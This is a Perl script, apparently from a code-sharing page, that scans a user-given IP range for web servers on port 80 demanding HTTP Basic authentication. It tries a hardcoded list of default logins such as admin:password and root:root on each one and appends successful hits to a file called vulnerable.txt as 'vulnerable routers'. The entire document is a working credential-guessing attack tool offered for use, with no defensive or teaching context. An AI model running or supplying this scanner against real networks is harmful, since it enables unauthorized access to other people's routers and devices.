#!/usr/bin/perl -w
use IO::Socket;
use LWP;
my $browser = LWP::UserAgent->new;
$browser->timeout(1);
my $realm;
my @success;
my $successTotal;
if(@ARGV != 2){
print "Parameters: [Start IP] [End IP]\n";
exit 1;
}
@sip = split(/\./, $ARGV[0]);
@eip = split(/\./, $ARGV[1]);
for($x = 0; $x < 4; ++$x){
if(($sip[$x] >= 255) || ($eip[$x] >= 255) || ($sip[$x] < 1) || ($eip[$x] < 1)){
print "[-] Invalid IP address entered - Please use numbers between 1 and 254.\n";
exit 1;
}
}
@creds = (
[ 'admin', 'password' ],
[ 'admin', 'admin' ],
[ 'sysadmin', 'admin' ],
[ 'sysadmin', 'password' ],
[ 'admin', 'changeme' ],
[ 'root', 'root' ],
);
sub tryCreds {
my ($ip,$realm) = @_;
for($i=0; $i<=$#creds; $i++)
{
$browser->credentials(
$ip.':80',
$realm,
$creds[$i][0] => $creds[$i][1]
);
$response = $browser->get('http://' . $cip);
if($response->header('WWW-Authenticate'))
{
print " - Failed: " . $creds[$i][0] . ":" . $creds[$i][1] . "\n";
}
elsif($response->is_success)
{
print " - SUCCESS: " . $creds[$i][0] . ":" . $creds[$i][1] . "\n";
push (@success, '>>'.$ip.':'.$creds[$i][0] . ":" . $creds[$i][1]."\n");
$successTotal++;
last;
}
else
{
print " - Failed: " . $creds[$i][0] . ":" . $creds[$i][1] . "\n";
}
}
}
print "[+] Scanning ranges " . $ARGV[0] . " to " . $ARGV[1] . "\n\n";
while(1){
$cip = join('.', @sip);
$response = $browser->get('http://' . $cip . ':80');
if($response->header('WWW-Authenticate'))
{
$realm = $response->header('WWW-Authenticate');
$realm =~ /\"(.*?)\"/;
print "[+] " . $cip . " is asking for login for " . $1 . "\n";
tryCreds($cip, $1);
}
elsif($response->is_success)
{
print "[~] Something at " . $cip . "\n";
}
else
{
print "[-] " . $cip . "\n";
}
$sip[3] += "1";
if($sip[3] > "255"){
$sip[2] += "1";
$sip[3] = "0";
}
if($sip[2] > "255"){
$sip[1] += "1";
$sip[2] = "0";
}
if($sip[1] > "255"){
$sip[0] += "1";
$sip[1] = "0";
}
if($ARGV[1] eq $cip){
print "==========================================\n";
print @success;
print '[+] Scan completed! Found a total of ' . $successTotal . " vulnerable routers!\n";
open(outputFile, ">>vulnerable.txt");
print outputFile @success;;
close(outputFile);
print "File Saved to: vulnerable.txt\n\n";
exit 1;
}
}
exit;
Comments
0 B
|👍
/👎